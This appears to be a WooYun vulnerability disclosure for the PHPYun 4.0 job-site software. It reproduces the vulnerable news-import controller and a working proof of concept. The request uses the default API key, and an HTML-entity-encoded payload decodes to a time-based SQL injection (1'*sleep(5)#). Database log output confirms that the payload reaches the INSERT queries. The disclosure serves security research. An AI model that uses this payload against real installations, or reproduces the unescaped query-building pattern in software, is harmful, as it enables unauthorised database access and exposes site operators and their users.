WooYun.org

class news_controller extends common{
	function addnews_action(){//新闻添加
		include("locoy_config.php");
		if($locoyinfo['locoy_online']!=1){
			echo 4;die;
		}
		if($locoyinfo['locoy_key']!=trim($_GET['key'])){
			echo 5;die;
		}
        if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){
			echo 2;die;
		}
		$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");
		if(is_array($row)){
			echo 3;die;
		}
		$content=$_POST['content'];
		
		$value="";
        $value.="`title`='".trim($_POST['title'])."',";
		$value.="`nid`='".$_POST['nid']."',";
		$value.="`did`='0',";
		$value.="`author`='".$_POST['author']."',";
		$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
		$description=$_POST['description']?$_POST['description']:$description;
		$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);
		$value.="`description`='".$description."',";
		$value.="`source`='".$_POST['source']."'";
		if($_POST['ctime']){
			$value.=",`datetime`='".strtotime($_POST['ctime'])."'";
		}else{
			$value.=",`datetime`='".time()."'";
		}
		if($_POST['hits']){
			$value.=",`hits`='".trim($_POST['hits'])."'";
		}else{
			$row=explode('-',$locoyinfo['locoy_rand']);
			if(is_array($row)){
				$rand=rand(trim($row[0]),trim($row[1]));
			}else{
				$rand=!trim($row)?0:$row;
			}
			$value.=",`hits`='".$rand."'";
		}
		if($_POST['sort']){
			$value.=",`sort`='".trim($_POST['sort'])."'";
		}else{
			$row=explode('-',$locoyinfo['locoy_sort']);
			if(is_array($row)){
				$rand=rand(trim($row[0]),trim($row[1]));
			}else{
				$rand=!trim($row)?0:$row;
			}
			$value.=",`sort`='".$rand."'";
		}
		if($_POST['newsphoto']){
			$value.=",`newsphoto`='".trim($_POST['newsphoto'])."'";
		}
		if($_POST['s_thumb']){
			$value.=",`s_thumb`='".trim($_POST['s_thumb'])."'";
		}
       if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){
			require(LIB_PATH."lib_splitword_class.php");
			$sp = new SplitWord();
			$keywordarr=$sp->getkeyword(strip_tags(html_entity_decode($content)));
			$value.=",`keyword`='".strip_tags(@implode(",",$keywordarr))."'";
		}elseif($_POST['keyword']){
			$value.=",`keyword`='".str_replace("，",",",$_POST['keyword'])."'";
		}
     	$new_base = $this->obj->DB_insert_once("news_base",$value);
        $news_content = $this->obj->DB_insert_once("news_content", "`nbid`='$new_base',`content`='$content'");
		if($new_base){
			echo 1;die;
		}else{
			echo 0;die;	
		}
	}
}
?>

$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
		$description=$_POST['description']?$_POST['description']:$description;
		$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);

这样发送url:
http://localhost/phpyun40https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun
postdata:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx

2015/10/1 11:45	INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='567',`did`='0',`author`='',`description`='1'*sleep(5)#',`source`='',`datetime`='1443671113',`hits`='',`sort`='',`keyword`='xxxxxx'

2015/10/1 11:45	INSERT INTO `phpyun_news_content` SET `nbid`='1',`content`='1'*slee p(5)#'